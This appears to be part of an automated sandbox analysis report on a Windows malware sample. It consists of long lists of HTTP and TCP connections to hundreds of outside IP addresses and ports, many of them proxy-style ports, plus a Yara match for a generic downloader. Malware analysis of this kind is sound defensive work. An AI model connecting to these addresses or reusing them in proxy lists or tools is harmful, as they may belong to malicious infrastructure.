Source: unknown	Network traffic detected: HTTP traffic on port 51392 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 51429 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51431 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51480 -> 12217
Source: unknown	Network traffic detected: HTTP traffic on port 51437 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50973 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 51476 -> 5432
Source: unknown	Network traffic detected: HTTP traffic on port 51516 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51440 -> 27391
Source: unknown	Network traffic detected: HTTP traffic on port 51523 -> 27207
Source: unknown	Network traffic detected: HTTP traffic on port 51368 -> 5034
Source: unknown	Network traffic detected: HTTP traffic on port 51408 -> 59058
Source: unknown	Network traffic detected: HTTP traffic on port 51494 -> 9080
Source: unknown	Network traffic detected: HTTP traffic on port 51459 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51464 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51449 -> 10010
Source: unknown	Network traffic detected: HTTP traffic on port 51535 -> 5050
Source: unknown	Network traffic detected: HTTP traffic on port 82 -> 50283
Source: unknown	Network traffic detected: HTTP traffic on port 51443 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 51438 -> 31724
Source: unknown	Network traffic detected: HTTP traffic on port 51465 -> 7891
Source: unknown	Network traffic detected: HTTP traffic on port 51428 -> 6012
Source: unknown	Network traffic detected: HTTP traffic on port 51416 -> 9090
Source: unknown	Network traffic detected: HTTP traffic on port 51546 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 51115
Source: unknown	Network traffic detected: HTTP traffic on port 51457 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51460 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 51500 -> 10000
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 51373
Source: unknown	Network traffic detected: HTTP traffic on port 51562 -> 12334
Source: unknown	Network traffic detected: HTTP traffic on port 51490 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51526 -> 39737
Source: unknown	Network traffic detected: HTTP traffic on port 51495 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51548 -> 31745
Source: unknown	Network traffic detected: HTTP traffic on port 51473 -> 8083
Source: unknown	Network traffic detected: HTTP traffic on port 51439 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51598 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51507 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 50292 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51016 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51620 -> 41697
Source: unknown	Network traffic detected: HTTP traffic on port 51556 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 51118 -> 6008
Source: unknown	Network traffic detected: HTTP traffic on port 51558 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 51499 -> 37259
Source: unknown	Network traffic detected: HTTP traffic on port 50154 -> 9990
Source: unknown	Network traffic detected: HTTP traffic on port 51570 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51559 -> 29985
Source: unknown	Network traffic detected: HTTP traffic on port 51062 -> 63055
Source: unknown	Network traffic detected: HTTP traffic on port 51070 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51510 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51530 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 5432 -> 51476
Source: unknown	Network traffic detected: HTTP traffic on port 9002 -> 51327
Source: unknown	Network traffic detected: HTTP traffic on port 51605 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51637 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 9002 -> 50505
Source: unknown	Network traffic detected: HTTP traffic on port 51073 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51581 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51680 -> 64767
Source: unknown	Network traffic detected: HTTP traffic on port 50135 -> 14921
Source: unknown	Network traffic detected: HTTP traffic on port 51567 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51603 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 51652 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51654 -> 31679
Source: unknown	Network traffic detected: HTTP traffic on port 51711 -> 8585
Source: unknown	Network traffic detected: HTTP traffic on port 50674 -> 36946
Source: unknown	Network traffic detected: HTTP traffic on port 51662 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51609 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50302 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51715 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 10010 -> 51449
Source: unknown	Network traffic detected: HTTP traffic on port 51613 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 999 -> 50159
Source: unknown	Network traffic detected: HTTP traffic on port 51655 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 51742 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51678 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 8083 -> 50779
Source: unknown	Network traffic detected: HTTP traffic on port 51589 -> 31247
Source: unknown	Network traffic detected: HTTP traffic on port 51635 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 1080 -> 51598
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 50640
Source: unknown	Network traffic detected: HTTP traffic on port 51089 -> 4444
Source: unknown	Network traffic detected: HTTP traffic on port 9002 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 51587 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 999 -> 50344
Source: unknown	Network traffic detected: HTTP traffic on port 51670 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 51434 -> 444
Source: unknown	Network traffic detected: HTTP traffic on port 51643 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 5005 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 51158 -> 12334
Source: unknown	Network traffic detected: HTTP traffic on port 50271 -> 10722
Source: unknown	Network traffic detected: HTTP traffic on port 51688 -> 10007
Source: unknown	Network traffic detected: HTTP traffic on port 10000 -> 51500
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50862
Source: unknown	Network traffic detected: HTTP traffic on port 51269 -> 59098
Source: unknown	Network traffic detected: HTTP traffic on port 51694 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 50151
Source: unknown	Network traffic detected: HTTP traffic on port 51722 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 51699 -> 5214
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 51556

Yara detected Generic Downloader

Source: Yara match

File source: 6.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE

Source: unknown

Network traffic detected: IP country count 30

Source: global traffic	TCP traffic: 192.168.2.8:49709 -> 91.187.55.39:5678
Source: global traffic	TCP traffic: 192.168.2.8:49712 -> 45.11.95.165:5212
Source: global traffic	TCP traffic: 192.168.2.8:49713 -> 103.186.8.162:8080
Source: global traffic	TCP traffic: 192.168.2.8:49714 -> 103.169.130.46:8080
Source: global traffic	TCP traffic: 192.168.2.8:49715 -> 103.141.66.78:8080
Source: global traffic	TCP traffic: 192.168.2.8:49710 -> 162.241.6.97:44607
Source: global traffic	TCP traffic: 192.168.2.8:49716 -> 203.161.32.242:50640
Source: global traffic	TCP traffic: 192.168.2.8:49718 -> 45.77.111.135:15082
Source: global traffic	TCP traffic: 192.168.2.8:49719 -> 20.219.180.149:3129
Source: global traffic	TCP traffic: 192.168.2.8:49720 -> 160.248.80.91:587
Source: global traffic	TCP traffic: 192.168.2.8:49722 -> 154.72.90.74:8081
Source: global traffic	TCP traffic: 192.168.2.8:49723 -> 103.26.108.118:84
Source: global traffic	TCP traffic: 192.168.2.8:49724 -> 92.204.134.38:9375
Source: global traffic	TCP traffic: 192.168.2.8:49725 -> 72.167.222.113:48892
Source: global traffic	TCP traffic: 192.168.2.8:49726 -> 79.110.196.145:8081
Source: global traffic	TCP traffic: 192.168.2.8:49729 -> 152.32.78.24:4145
Source: global traffic	TCP traffic: 192.168.2.8:49730 -> 201.20.67.70:8080
Source: global traffic	TCP traffic: 192.168.2.8:49731 -> 47.91.110.154:1080
Source: global traffic	TCP traffic: 192.168.2.8:49732 -> 117.70.49.235:8089
Source: global traffic	TCP traffic: 192.168.2.8:49733 -> 162.241.70.64:49478
Source: global traffic	TCP traffic: 192.168.2.8:49734 -> 14.103.24.148:8000
Source: global traffic	TCP traffic: 192.168.2.8:49735 -> 207.180.234.220:37736
Source: global traffic	TCP traffic: 192.168.2.8:49736 -> 85.120.30.66:33590
Source: global traffic	TCP traffic: 192.168.2.8:49738 -> 142.54.237.34:4145
Source: global traffic	TCP traffic: 192.168.2.8:49739 -> 3.24.58.156:3128
Source: global traffic	TCP traffic: 192.168.2.8:49740 -> 43.133.136.208:8800
Source: global traffic	TCP traffic: 192.168.2.8:49741 -> 200.174.198.95:8888
Source: global traffic	TCP traffic: 192.168.2.8:49742 -> 45.56.220.210:59920
Source: global traffic	TCP traffic: 192.168.2.8:49743 -> 103.226.232.188:3125
Source: global traffic	TCP traffic: 192.168.2.8:49745 -> 116.97.240.147:4995
Source: global traffic	TCP traffic: 192.168.2.8:49746 -> 143.255.140.28:5678
Source: global traffic	TCP traffic: 192.168.2.8:49747 -> 113.53.3.242:8081
Source: global traffic	TCP traffic: 192.168.2.8:49748 -> 103.167.68.255:8080
Source: global traffic	TCP traffic: 192.168.2.8:49749 -> 122.152.53.25:5678
Source: global traffic	TCP traffic: 192.168.2.8:49750 -> 51.222.241.157:40351
Source: global traffic	TCP traffic: 192.168.2.8:49751 -> 72.10.160.90:30951
Source: global traffic	TCP traffic: 192.168.2.8:49752 -> 8.209.255.13:3128
Source: global traffic	TCP traffic: 192.168.2.8:49753 -> 162.214.90.49:58740
Source: global traffic	TCP traffic: 192.168.2.8:49754 -> 194.4.50.91:12334
Source: global traffic	TCP traffic: 192.168.2.8:49755 -> 103.199.155.18:6969
Source: global traffic	TCP traffic: 192.168.2.8:49757 -> 208.109.14.49:22881
Source: global traffic	TCP traffic: 192.168.2.8:49758 -> 91.213.119.246:31551
Source: global traffic	TCP traffic: 192.168.2.8:49759 -> 20.24.43.214:8123
Source: global traffic	TCP traffic: 192.168.2.8:49760 -> 178.212.51.79:5678
Source: global traffic	TCP traffic: 192.168.2.8:49761 -> 103.127.106.249:8090
Source: global traffic	TCP traffic: 192.168.2.8:49762 -> 185.108.141.19:8080
Source: global traffic	TCP traffic: 192.168.2.8:49763 -> 138.36.150.16:1080
Source: global traffic	TCP traffic: 192.168.2.8:49765 -> 67.43.228.252:4495
Source: global traffic	TCP traffic: 192.168.2.8:49766 -> 92.205.61.38:24183
Source: global traffic	TCP traffic: 192.168.2.8:49767 -> 162.243.102.207:9764
Source: global traffic	TCP traffic: 192.168.2.8:49770 -> 46.245.77.52:3128
Source: global traffic	TCP traffic: 192.168.2.8:49771 -> 45.229.10.98:8402
Source: global traffic	TCP traffic: 192.168.2.8:49774 -> 43.155.165.196:15673
Source: global traffic	TCP traffic: 192.168.2.8:49776 -> 20.37.207.8:8080
Source: global traffic	TCP traffic: 192.168.2.8:49777 -> 67.43.228.254:28971
Source: global traffic	TCP traffic: 192.168.2.8:49778 -> 162.241.50.179:37876
Source: global traffic	TCP traffic: 192.168.2.8:49780 -> 131.100.48.75:999
Source: global traffic	TCP traffic: 192.168.2.8:49781 -> 149.126.101.162:8080
Source: global traffic	TCP traffic: 192.168.2.8:49782 -> 51.81.89.146:50605
Source: global traffic	TCP traffic: 192.168.2.8:49783 -> 212.231.197.29:4145
Source: global traffic	TCP traffic: 192.168.2.8:49784 -> 42.200.196.208:8080
Source: global traffic	TCP traffic: 192.168.2.8:49787 -> 67.43.228.253:31033
Source: global traffic	TCP traffic: 192.168.2.8:49788 -> 186.248.87.172:5678
Source: global traffic	TCP traffic: 192.168.2.8:49790 -> 103.114.53.2:8080
Source: global traffic	TCP traffic: 192.168.2.8:49791 -> 64.227.108.25:31908
Source: global traffic	TCP traffic: 192.168.2.8:49792 -> 45.178.133.60:999
Source: global traffic	TCP traffic: 192.168.2.8:49793 -> 200.106.184.97:999
Source: global traffic	TCP traffic: 192.168.2.8:49795 -> 201.71.3.60:999
Source: global traffic	TCP traffic: 192.168.2.8:49796 -> 200.25.254.193:54240
Source: global traffic	TCP traffic: 192.168.2.8:49798 -> 114.231.45.101:8089
Source: global traffic	TCP traffic: 192.168.2.8:49800 -> 115.248.66.131:3129
Source: global traffic	TCP traffic: 192.168.2.8:49802 -> 171.244.140.160:37400
Source: global traffic	TCP traffic: 192.168.2.8:49803 -> 193.239.56.84:8081
Source: global traffic	TCP traffic: 192.168.2.8:49804 -> 14.207.41.71:8080
Source: global traffic	TCP traffic: 192.168.2.8:49805 -> 196.202.40.17:3128
Source: global traffic	TCP traffic: 192.168.2.8:49806 -> 185.82.87.30:1080
Source: global traffic	TCP traffic: 192.168.2.8:49807 -> 157.100.63.69:999
Source: global traffic	TCP traffic: 192.168.2.8:49808 -> 184.181.217.194:4145
Source: global traffic	TCP traffic: 192.168.2.8:49809 -> 188.124.15.13:3629
Source: global traffic	TCP traffic: 192.168.2.8:49811 -> 103.8.164.16:1111
Source: global traffic	TCP traffic: 192.168.2.8:49812 -> 193.106.57.96:5678
Source: global traffic	TCP traffic: 192.168.2.8:49814 -> 103.190.54.141:8080
Source: global traffic	TCP traffic: 192.168.2.8:49816 -> 115.127.112.74:8090
Source: global traffic	TCP traffic: 192.168.2.8:49817 -> 72.10.160.171:26315
Source: global traffic	TCP traffic: 192.168.2.8:49818 -> 193.239.86.249:3128
Source: global traffic	TCP traffic: 192.168.2.8:49819 -> 45.181.123.145:999
Source: global traffic	TCP traffic: 192.168.2.8:49821 -> 193.34.21.200:8080
Source: global traffic	TCP traffic: 192.168.2.8:49822 -> 147.75.92.251:9401
Source: global traffic	TCP traffic: 192.168.2.8:49823 -> 15.236.106.236:3128
Source: global traffic	TCP traffic: 192.168.2.8:49824 -> 45.228.147.209:5678
Source: global traffic	TCP traffic: 192.168.2.8:49825 -> 93.171.243.253:1080
Source: global traffic	TCP traffic: 192.168.2.8:49826 -> 67.43.227.228:9039
Source: global traffic	TCP traffic: 192.168.2.8:49827 -> 5.180.19.140:1080
Source: global traffic	TCP traffic: 192.168.2.8:49828 -> 123.108.98.108:5678
Source: global traffic	TCP traffic: 192.168.2.8:49829 -> 163.172.147.9:16379
Source: global traffic	TCP traffic: 192.168.2.8:49830 -> 220.248.70.237:9002
Source: global traffic	TCP traffic: 192.168.2.8:49831 -> 58.234.116.197:8197
Source: global traffic	TCP traffic: 192.168.2.8:49833 -> 92.204.135.37:55019
Source: global traffic	TCP traffic: 192.168.2.8:49835 -> 20.204.212.76:3129
Source: global traffic	TCP traffic: 192.168.2.8:49836 -> 155.50.241.99:3128
Source: global traffic	TCP traffic: 192.168.2.8:49838 -> 5.252.23.220:1080
Source: global traffic	TCP traffic: 192.168.2.8:49839 -> 160.19.169.208:8080
Source: global traffic	TCP traffic: 192.168.2.8:49842 -> 123.182.58.221:8089
Source: global traffic	TCP traffic: 192.168.2.8:49843 -> 178.158.197.147:3629
Source: global traffic	TCP traffic: 192.168.2.8:49844 -> 178.128.207.96:18877
Source: global traffic	TCP traffic: 192.168.2.8:49845 -> 181.65.169.37:999
Source: global traffic	TCP traffic: 192.168.2.8:49846 -> 85.117.60.162:8080
Source: global traffic	TCP traffic: 192.168.2.8:49847 -> 5.44.42.115:58386
Source: global traffic	TCP traffic: 192.168.2.8:49848 -> 1.194.236.229:5005
Source: global traffic	TCP traffic: 192.168.2.8:49849 -> 98.162.25.29:31679
Source: global traffic	TCP traffic: 192.168.2.8:49850 -> 186.251.255.73:31337
Source: global traffic	TCP traffic: 192.168.2.8:49851 -> 190.2.104.201:4153
Source: global traffic	TCP traffic: 192.168.2.8:49852 -> 174.64.199.82:4145
Source: global traffic	TCP traffic: 192.168.2.8:49854 -> 181.212.45.228:8080
Source: global traffic	TCP traffic: 192.168.2.8:49855 -> 51.75.126.150:36694
Source: global traffic	TCP traffic: 192.168.2.8:49840 -> 132.148.129.254:60781
Source: global traffic	TCP traffic: 192.168.2.8:49856 -> 176.88.166.218:8080
Source: global traffic	TCP traffic: 192.168.2.8:49857 -> 103.168.164.94:83
Source: global traffic	TCP traffic: 192.168.2.8:49858 -> 184.170.249.65:4145
Source: global traffic	TCP traffic: 192.168.2.8:49859 -> 51.81.186.179:51405
Source: global traffic	TCP traffic: 192.168.2.8:49860 -> 92.205.110.118:15430
Source: global traffic	TCP traffic: 192.168.2.8:49861 -> 179.1.192.27:999
Source: global traffic	TCP traffic: 192.168.2.8:49863 -> 161.97.163.52:64120
Source: global traffic	TCP traffic: 192.168.2.8:49864 -> 105.174.40.54:8080
Source: global traffic	TCP traffic: 192.168.2.8:49865 -> 45.190.78.50:999
Source: global traffic	TCP traffic: 192.168.2.8:49866 -> 168.228.36.22:27234
Source: global traffic	TCP traffic: 192.168.2.8:49867 -> 212.108.145.195:9090
Source: global traffic	TCP traffic: 192.168.2.8:49869 -> 88.202.230.103:17045
Source: global traffic	TCP traffic: 192.168.2.8:49870 -> 103.78.96.146:8181
Source: global traffic	TCP traffic: 192.168.2.8:49872 -> 87.76.1.251:8080
Source: global traffic	TCP traffic: 192.168.2.8:49873 -> 193.143.1.201:4444
Source: global traffic	TCP traffic: 192.168.2.8:49874 -> 34.85.177.170:3128
Source: global traffic	TCP traffic: 192.168.2.8:49875 -> 103.234.26.163:9990
Source: global traffic	TCP traffic: 192.168.2.8:49876 -> 1.15.62.12:5678
Source: global traffic	TCP traffic: 192.168.2.8:49877 -> 160.16.90.35:3128
Source: global traffic	TCP traffic: 192.168.2.8:49880 -> 18.134.236.231:3128
Source: global traffic	TCP traffic: 192.168.2.8:49881 -> 176.119.227.65:5678
Source: global traffic	TCP traffic: 192.168.2.8:49882 -> 123.30.154.171:7777
Source: global traffic	TCP traffic: 192.168.2.8:49883 -> 41.217.220.214:32650
Source: global traffic	TCP traffic: 192.168.2.8:49884 -> 178.128.156.219:8000
Source: global traffic	TCP traffic: 192.168.2.8:49885 -> 184.178.172.14:4145
Source: global traffic	TCP traffic: 192.168.2.8:49886 -> 89.187.216.58:1080
Source: global traffic	TCP traffic: 192.168.2.8:49887 -> 51.15.254.129:16379
Source: global traffic	TCP traffic: 192.168.2.8:49888 -> 186.251.255.105:31337
Source: global traffic	TCP traffic: 192.168.2.8:49890 -> 103.147.247.79:8080
Source: global traffic	TCP traffic: 192.168.2.8:49891 -> 94.131.106.196:3128
Source: global traffic	TCP traffic: 192.168.2.8:49894 -> 162.241.46.69:53783
Source: global traffic	TCP traffic: 192.168.2.8:49896 -> 166.62.121.127:45248
Source: global traffic	TCP traffic: 192.168.2.8:49895 -> 173.212.250.16:64768
Source: global traffic	TCP traffic: 192.168.2.8:49897 -> 95.47.149.8:8080
Source: global traffic	TCP traffic: 192.168.2.8:49899 -> 162.214.225.223:49806
Source: global traffic	TCP traffic: 192.168.2.8:49900 -> 119.28.60.64:8090
Source: global traffic	TCP traffic: 192.168.2.8:49901 -> 103.153.232.41:8080
Source: global traffic	TCP traffic: 192.168.2.8:49902 -> 202.165.47.90:55443
Source: global traffic	TCP traffic: 192.168.2.8:49903 -> 103.169.254.186:8061
Source: global traffic	TCP traffic: 192.168.2.8:49904 -> 50.233.111.162:32100
Source: global traffic	TCP traffic: 192.168.2.8:49898 -> 173.224.20.136:5678
Source: global traffic	TCP traffic: 192.168.2.8:49905 -> 65.109.152.88:8888
Source: global traffic	TCP traffic: 192.168.2.8:49906 -> 88.211.85.169:42931
Source: global traffic	TCP traffic: 192.168.2.8:49907 -> 104.238.111.107:5484
Source: global traffic	TCP traffic: 192.168.2.8:49909 -> 194.182.187.78:3128
Source: global traffic	TCP traffic: 192.168.2.8:49910 -> 103.112.128.37:9091
Source: global traffic	TCP traffic: 192.168.2.8:49911 -> 45.90.104.150:9090
Source: global traffic	TCP traffic: 192.168.2.8:49913 -> 46.0.203.186:8080
Source: global traffic	TCP traffic: 192.168.2.8:49916 -> 72.10.160.92:5775
Source: global traffic	TCP traffic: 192.168.2.8:49917 -> 41.33.203.115:1974
Source: global traffic	TCP traffic: 192.168.2.8:49918 -> 5.252.23.249:3128
Source: global traffic	TCP traffic: 192.168.2.8:49920 -> 37.187.77.58:10710
Source: global traffic	TCP traffic: 192.168.2.8:49923 -> 178.158.166.161:3128
Source: global traffic	TCP traffic: 192.168.2.8:49924 -> 92.247.12.136:9510
Source: global traffic	TCP traffic: 192.168.2.8:49927 -> 181.78.13.91:5678
Source: global traffic	TCP traffic: 192.168.2.8:49928 -> 57.128.163.242:8080
Source: global traffic	TCP traffic: 192.168.2.8:49929 -> 162.214.197.102:58740
Source: global traffic	TCP traffic: 192.168.2.8:49930 -> 211.222.252.187:8193
Source: global traffic	TCP traffic: 192.168.2.8:49933 -> 47.254.90.125:8888
Source: global traffic	TCP traffic: 192.168.2.8:49935 -> 43.131.245.216:15673
Source: global traffic	TCP traffic: 192.168.2.8:49937 -> 176.213.141.107:8080
Source: global traffic	TCP traffic: 192.168.2.8:49938 -> 148.72.209.174:12446
Source: global traffic	TCP traffic: 192.168.2.8:49939 -> 8.142.132.204:18080
Source: global traffic	TCP traffic: 192.168.2.8:49940 -> 94.124.16.218:8901
Source: global traffic	TCP traffic: 192.168.2.8:49942 -> 103.115.242.192:8080
Source: global traffic	TCP traffic: 192.168.2.8:49943 -> 41.65.236.56:1981
Source: global traffic	TCP traffic: 192.168.2.8:49944 -> 38.253.232.2:8080
Source: global traffic	TCP traffic: 192.168.2.8:49947 -> 36.90.61.224:4145
Source: global traffic	TCP traffic: 192.168.2.8:49949 -> 190.113.40.202:999
Source: global traffic	TCP traffic: 192.168.2.8:49950 -> 72.10.164.178:18067
Source: global traffic	TCP traffic: 192.168.2.8:49952 -> 103.234.27.153:1080
Source: global traffic	TCP traffic: 192.168.2.8:49953 -> 103.76.253.66:3129
Source: global traffic	TCP traffic: 192.168.2.8:49955 -> 38.156.73.54:8080
Source: global traffic	TCP traffic: 192.168.2.8:49956 -> 137.59.48.20:8080
Source: global traffic	TCP traffic: 192.168.2.8:49957 -> 178.245.145.234:3128
Source: global traffic	TCP traffic: 192.168.2.8:49959 -> 162.215.219.157:48117
Source: global traffic	TCP traffic: 192.168.2.8:49960 -> 170.239.205.1:999
Source: global traffic	TCP traffic: 192.168.2.8:49961 -> 51.89.173.40:55198
Source: global traffic	TCP traffic: 192.168.2.8:49963 -> 67.43.236.18:17145
Source: global traffic	TCP traffic: 192.168.2.8:49965 -> 36.255.104.1:13623
Source: global traffic	TCP traffic: 192.168.2.8:49966 -> 35.237.210.215:3128
Source: global traffic	TCP traffic: 192.168.2.8:49967 -> 159.223.71.71:59243
Source: global traffic	TCP traffic: 192.168.2.8:49968 -> 51.15.242.202:8888
Source: global traffic	TCP traffic: 192.168.2.8:49969 -> 41.128.148.76:1976
Source: global traffic	TCP traffic: 192.168.2.8:49970 -> 195.154.172.161:3128
Source: global traffic	TCP traffic: 192.168.2.8:49972 -> 38.156.72.135:8888
Source: global traffic	TCP traffic: 192.168.2.8:49973 -> 142.54.229.249:4145
Source: global traffic	TCP traffic: 192.168.2.8:49975 -> 85.94.24.29:1488
Source: global traffic	TCP traffic: 192.168.2.8:49978 -> 92.118.132.125:8080
Source: global traffic	TCP traffic: 192.168.2.8:49979 -> 107.180.88.173:59820
Source: global traffic	TCP traffic: 192.168.2.8:49981 -> 132.148.245.169:38117
Source: global traffic	TCP traffic: 192.168.2.8:49982 -> 67.43.227.226:25639
Source: global traffic	TCP traffic: 192.168.2.8:49983 -> 182.140.244.163:8118
Source: global traffic	TCP traffic: 192.168.2.8:49984 -> 202.142.167.210:1080
Source: global traffic	TCP traffic: 192.168.2.8:49985 -> 103.212.93.241:45639
Source: global traffic	TCP traffic: 192.168.2.8:49986 -> 163.172.171.22:16379
Source: global traffic	TCP traffic: 192.168.2.8:49987 -> 190.97.238.89:999
Source: global traffic	TCP traffic: 192.168.2.8:49989 -> 103.176.116.171:32650
Source: global traffic	TCP traffic: 192.168.2.8:49990 -> 125.99.106.250:3128
Source: global traffic	TCP traffic: 192.168.2.8:49991 -> 103.130.112.253:5678
Source: global traffic	TCP traffic: 192.168.2.8:49992 -> 167.172.109.12:37355
Source: global traffic	TCP traffic: 192.168.2.8:49993 -> 178.236.122.164:5678
Source: global traffic	TCP traffic: 192.168.2.8:49994 -> 147.75.34.86:10003
Source: global traffic	TCP traffic: 192.168.2.8:49995 -> 148.72.23.56:60069
Source: global traffic	TCP traffic: 192.168.2.8:49996 -> 120.37.121.209:9091
Source: global traffic	TCP traffic: 192.168.2.8:49998 -> 185.200.37.245:8080
Source: global traffic	TCP traffic: 192.168.2.8:50000 -> 163.172.165.36:16379
Source: global traffic	TCP traffic: 192.168.2.8:50001 -> 66.29.128.246:34350
Source: global traffic	TCP traffic: 192.168.2.8:50003 -> 51.178.43.147:3128
Source: global traffic	TCP traffic: 192.168.2.8:50005 -> 191.103.219.225:48612
Source: global traffic	TCP traffic: 192.168.2.8:50007 -> 107.180.88.41:24834
Source: global traffic	TCP traffic: 192.168.2.8:50008 -> 110.74.195.2:4153
Source: global traffic	TCP traffic: 192.168.2.8:50011 -> 178.128.148.69:3128
Source: global traffic	TCP traffic: 192.168.2.8:50014 -> 131.0.87.225:52017
Source: global traffic	TCP traffic: 192.168.2.8:50017 -> 72.10.160.170:5385
Source: global traffic	TCP traffic: 192.168.2.8:50019 -> 95.164.89.123:8888
Source: global traffic	TCP traffic: 192.168.2.8:50020 -> 139.255.132.68:1080
Source: global traffic	TCP traffic: 192.168.2.8:50021 -> 67.43.236.20:31295
Source: global traffic	TCP traffic: 192.168.2.8:50023 -> 59.92.70.176:3127
Source: global traffic	TCP traffic: 192.168.2.8:50024 -> 158.247.207.153:3030
Source: global traffic	TCP traffic: 192.168.2.8:50027 -> 111.8.155.54:7777
Source: global traffic	TCP traffic: 192.168.2.8:50028 -> 179.43.8.16:8088
Source: global traffic	TCP traffic: 192.168.2.8:50030 -> 51.158.64.130:16379
Source: global traffic	TCP traffic: 192.168.2.8:50031 -> 164.92.86.113:57391
Source: global traffic	TCP traffic: 192.168.2.8:50032 -> 200.52.148.10:999
Source: global traffic	TCP traffic: 192.168.2.8:50033 -> 195.154.43.184:19058
Source: global traffic	TCP traffic: 192.168.2.8:50034 -> 207.180.198.241:42581
Source: global traffic	TCP traffic: 192.168.2.8:50035 -> 103.231.248.98:3128
Source: global traffic	TCP traffic: 192.168.2.8:50036 -> 67.43.228.251:26087
Source: global traffic	TCP traffic: 192.168.2.8:50037 -> 103.159.46.2:83
Source: global traffic	TCP traffic: 192.168.2.8:50038 -> 62.171.131.101:25847
Source: global traffic	TCP traffic: 192.168.2.8:50039 -> 137.184.200.42:8000
Source: global traffic	TCP traffic: 192.168.2.8:50040 -> 147.124.212.31:11070
Source: global traffic	TCP traffic: 192.168.2.8:50042 -> 111.225.152.42:8089
Source: global traffic	TCP traffic: 192.168.2.8:50043 -> 51.15.142.4:16379
Source: global traffic	TCP traffic: 192.168.2.8:50045 -> 113.100.209.184:3128
Source: global traffic	TCP traffic: 192.168.2.8:50047 -> 103.83.105.167:4153
Source: global traffic	TCP traffic: 192.168.2.8:50050 -> 167.249.29.218:999
Source: global traffic	TCP traffic: 192.168.2.8:50051 -> 167.86.102.169:16823
Source: global traffic	TCP traffic: 192.168.2.8:50052 -> 162.144.121.232:27262
Source: global traffic	TCP traffic: 192.168.2.8:50053 -> 20.219.177.85:3129
Source: global traffic	TCP traffic: 192.168.2.8:50054 -> 14.103.24.20:8000
Source: global traffic	TCP traffic: 192.168.2.8:50055 -> 202.166.219.80:4153
Source: global traffic	TCP traffic: 192.168.2.8:50056 -> 81.19.3.249:10080
Source: global traffic	TCP traffic: 192.168.2.8:50057 -> 45.11.95.166:6014
Source: global traffic	TCP traffic: 192.168.2.8:50058 -> 58.84.32.118:5678
Source: global traffic	TCP traffic: 192.168.2.8:50059 -> 103.77.50.168:8080
Source: global traffic	TCP traffic: 192.168.2.8:50060 -> 202.165.47.49:5678
Source: global traffic	TCP traffic: 192.168.2.8:50061 -> 74.62.179.122:8080
Source: global traffic	TCP traffic: 192.168.2.8:50062 -> 174.64.199.79:4145
Source: global traffic	TCP traffic: 192.168.2.8:50063 -> 103.83.178.205:2016
Source: global traffic	TCP traffic: 192.168.2.8:50064 -> 162.214.191.209:58275
Source: global traffic	TCP traffic: 192.168.2.8:50066 -> 202.179.184.44:5430
Source: global traffic	TCP traffic: 192.168.2.8:50068 -> 94.186.234.236:8080
Source: global traffic	TCP traffic: 192.168.2.8:50069 -> 201.170.180.188:8080
Source: global traffic	TCP traffic: 192.168.2.8:50070 -> 223.25.98.82:5678
Source: global traffic	TCP traffic: 192.168.2.8:50071 -> 93.171.220.229:8888
Source: global traffic	TCP traffic: 192.168.2.8:50072 -> 98.64.169.17:8080
Source: global traffic	TCP traffic: 192.168.2.8:50073 -> 119.81.71.27:8123
Source: global traffic	TCP traffic: 192.168.2.8:50075 -> 86.110.189.118:42539
Source: global traffic	TCP traffic: 192.168.2.8:50076 -> 58.69.201.117:8082
Source: global traffic	TCP traffic: 192.168.2.8:50077 -> 49.228.131.169:5000
Source: global traffic	TCP traffic: 192.168.2.8:50078 -> 77.242.24.241:8089
Source: global traffic	TCP traffic: 192.168.2.8:50079 -> 122.52.196.36:8080
